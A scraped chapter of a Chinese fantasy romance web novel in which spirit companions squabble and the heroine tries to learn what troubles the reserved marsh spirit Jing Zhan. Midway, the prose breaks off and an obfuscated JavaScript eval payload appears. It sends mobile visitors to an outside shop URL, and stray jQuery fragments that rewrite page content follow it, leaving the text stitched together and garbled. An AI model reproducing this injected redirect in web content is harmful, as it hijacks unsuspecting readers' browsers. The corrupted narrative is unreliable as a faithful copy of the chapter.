文趣网 > 都市小说 > 俏狐男对我情窦初开后 > 42. 景湛的心事
    蔓妖逃了,趁大家都不注意的时候。

    容青弃理解,像它这样的妖怪,其实很难接受人们的善意,不过这次蔓妖的修为尽散,不再修炼个百年恐怕也难再出来作威作福了,不用多花心思去管它。

    这次事情解决之后,最放松的是小蛇妖。

    据它所说,当年它被蔓妖逼迫着签了仆契,如今蔓妖修为被废,不知所踪,这以妖力为纽带的仆契自动失效。

    现在的小蛇妖,居然在风沙漫天的地方,从空气中嗅到浓厚的自由气息。

    “跟你混还真是没错,我讨厌那个家伙好久了!”小蛇欢快地吐着信子,从桌子蜿蜒爬上容青弃的胳膊,两只豆豆眼里满是恢复自由的愉悦。

    己绛叉着腰,一只手把小蛇从阿珠身上提溜起来,“说话就说话,你突然上人家身是什么意思?!”

    小蛇一脸不满,气愤地吐信子:“人家姑娘都没说什么,你倒是动上手了!”

    己绛快被气炸了,这条雄性蛇妖,明目张胆地当着他的面碰阿珠胳膊,还和自己龇牙咧嘴的,当即憋不住这暴脾气,化作狐形和臭蛇决一死战。

    容青弃看着这闹腾的一幕,也是无奈加心力交瘁,自从认识这些妖之后,自己的耳朵根没有一日清净的。

    一蛇一狐正忘我掐架,闹得整个屋子都不得安生。

    总有人看不下去,一手捏蛇七寸,一手提起狐狸尾巴。

    两只妖还在嗷嗷冲对方叫唤,狐狸的小爪爪在半空扑腾,要不是景湛把两妖分开得及时,恐怕当下狐狸身上要出现两个血洞,蛇身上最起码也要蜕层皮。

    还是景湛靠谱,从来不闹腾,让人省心。

    容青弃提着的心总算放下,这动静再这么下去得把隔壁大叔招来,到时候有嘴也说不清了。

    “好了,你们两个都省省吧。”

    己绛不满,但知道阿珠现在是心烦了,他得见好就收,可不能真的让她恼了自己。

    狐狸哼哼唧唧地扭着身子,从景湛手里逃脱,一眨眼跳进容青弃怀里,两只眼睛都瞪着景湛,开始告状,“你看他!都不会好好说话,把人家都抓疼了!”

    面对狐狸的恶意控诉,景湛压根没给一点反应,但越是这样,某只狐狸越破防,憋得耳朵尖尖发烫。

    小蛇在景湛手里也立马老实,不再叫嚣。

    容青弃给怀里一个劲摆尾巴委屈的狐狸顺毛,这狐狸太会撒娇,一点点小委屈都要哭卿卿好一会,但是却一点都不让人觉得矫情。

    景湛轻轻把小蛇放在软榻上,随后抱胸站立,恢复一如既往的冷淡模样。

    只是这小蛇却像是忽然生了兴趣一般,支棱着身体,探头探脑地好奇打量着景湛。

    景湛显然是注意到这道目光,不动声色地侧过身。

    “小兄弟,我觉得你让我很熟悉啊。”

    此话引得容青弃和己绛一起投去目光。

    满室寂静,景湛依旧维持着先前的姿势,一言不发。

    小蛇却没有因为这份沉默打退堂鼓,反而凑得更近。

    其实那天它就有所察觉了,这少年身上的气息过于熟悉,但它实在是想不起来在哪里见过,以至于后来他受伤中了蔓妖的毒,它也总觉得不能让他死。

    景湛斜睨它一眼。

    “你认错了。”

    “不对。”小蛇继续凑近,在他衣袖处闻嗅。

    被扰得不胜其烦,景湛把自己的衣袖握在手里,大跨步走出门去。

    也许景湛就是这么一个冷淡的性子,谁也不喜欢亲近,但也绝对不会像今天一样,冷漠如此。

    容青弃觉得这其中应当另有隐情,拍拍狐狸的屁股,示意自己出去一下,己绛这才乖乖变回人形。

    ......

    找到景湛的时候,他正站在村里的水井旁边,看着自己的水中倒影出神。

    远远看过去,真的很像是少年想不开,盯着深不见底的井口在寻思一些可怕的东西。

    容青弃见此情景,眼下什么都顾不得想了,蹑手蹑脚向他身边靠近,万一这家伙真的想不开什么的,说不定她还能把人拉上来。

    然而从她刚到这里的时候,景湛就已经察觉的,他缓缓回身,直勾勾望着她。

    不知道为什么,容青弃莫名感到心虚,方才还弯腰轻手轻脚凑近的姿态一下子站直,假装若无其事地同他打招呼。

    景湛亦对她点头。

    容青弃自然地凑过去,先是往水井里看了一眼,平静无波的水面照映着两个人的身影,还有暗黄的天空,让人感到一阵眩晕,好似下一秒便要失重落水。

    “你今天怎么回事?身体不舒服吗?”

    景湛摇头。

    容青弃又盯着他看了一会,真觉得自己问了也算白问,这家伙不想说的话就算把嘴巴撬开也不行的。

    不过,其实她一开始就应该猜到的。

    “它也是沼妖吧,我们刚到这里的第一天你就发现了。”

    景湛微顿,容青弃便知道自己猜对了。

    小蛇妖明显是没认出他,不过也正常,当年沼妖一族的生活被捉妖师扰乱,大家早就四散奔逃,族群刚走散那会,景湛还没有化形,而且这个名字也是她给取的。

    也许是小蛇妖凭借着血脉里对同族的保护,那日才会冒着风险来给景湛解毒。

    原本以为是老乡见老乡、两眼泪汪汪的戏码,没想到景湛这小子冷淡成这样。

    “你们沼妖一族本就因为那件事流离失所,现如今能遇到同族相互照应也是幸运,你何必如此躲着它呢?”

    他可能也不知道吧。

    不知道在担心什么,或者是惧怕什么,景湛并没有回答这个问题,但容青弃也没有继续逼问下去,反而是和他一起坐在井边,两个人就这样一直沉默。

    从果儿山重逢的那日开始,景湛便一直跟在她身边,替她考虑了许多她自己都没有注意到的事,她说教他识字,今日十字明日十字,现在也能简单读写。

    明明一直在朝夕相处,她却没有真正了解过景湛心里想要的是什么、心里在意的是什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663461|207221||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,只是她的一个提议,这条刚刚化形没有多久的小蛇便一直跟着她。

    所以现在,她真的希望可以再更了解景湛一点,问问他的想法。

    回去的路上,容青弃提出让景湛陪她买些生活必需品,以及再买些东西感谢大叔这段时间的收留。

    景湛平时话就不多,如今话更少了,只是在后面帮忙拿东西。

    路过卖发簪的小摊时,容青弃不由自主停下脚步。

    这个偏僻的小村落,本就资源匮乏,卖的发饰款式也简单朴素,许多手作的簪子堆积在一起,要选购只能耐心翻看。

    她看了看景湛发间之前山洞时她送的簪子,已经有些旧了,毕竟是自己用了多年的东西,想着大家在一块这么久,好像也没有特别为他买过什么东西,于是她在小摊上仔细挑选起来。

    只是摊位上可选的款式太少,大部分都不太适合他,挑了半天,才勉强从最底下的簪子里选出一支。

    这枚簪子算不上多别致,但黑色的簪身上用银笔勾勒着蛇躯盘旋的模样。

    “景湛,这个簪子你喜欢吗?”

    原以为她是随手为自己选的,没想到是给他。

    “我已经有一支了。”

    “那不一样,那支是我用旧的,我想送你一支新的。”

    景湛摇摇头,接过她手里的那只发簪,重新放回摊位上,“我有这一支就好了,我很喜欢。”

    容青弃还想劝,却被他拉着离开摊位。

    刚开始的时候,景湛还不怎么会用簪子束发,每天都是她帮自己打理整齐,他笨手笨脚地学了好几日,这才能顺手束好发。

    这支发簪是阿珠送给自己的第一样东西,亦是他化形后不久拥有的第一样属于人该用的东西,对他来说意义远不止于此。

    就像阿珠一样,曾经年少时的玩伴,无论如何,这都是对他很重要的。

    说实话,那天察觉到这处山村有沼妖同族的气息,他下意识希望逃避。

    离开族群许久,景湛早就习惯呆在阿珠的身边,什么也不想,只要跟着她走、只要保护好她、只要帮她实现愿望......

    他压根没想过有朝一日遇到族人该怎么办,与他们相认吗?可那有什么意义呢?又能改变些什么?无非是给自己平添烦恼罢了。

    察觉到身边人的失落,容青弃下意识牵起他的手,就像它小时候不开心,会把自己的尾巴尖尖放在她掌心一样。

    感受到女孩掌心的温热柔软,景湛身体一僵,走路险些同手同脚。

    其实......虽说他是妖,但化形也有一段时间,跟着她走南闯北的这段时日,见识过许多,也学会了凡人所说的男女有别。

    突如其来的肢体触碰,扰乱着景湛的神经,心跳异常紊乱,呼吸也下意识放慢放轻,沼妖常年身体阴寒,但此时此刻,他只觉得耳尖和脸颊烫得不像话。

    这种感觉是初次,并不舒服,但不知怎的,景湛竟没有想过要松开手。

    意识到这一点,他突然感到荒谬和恐慌。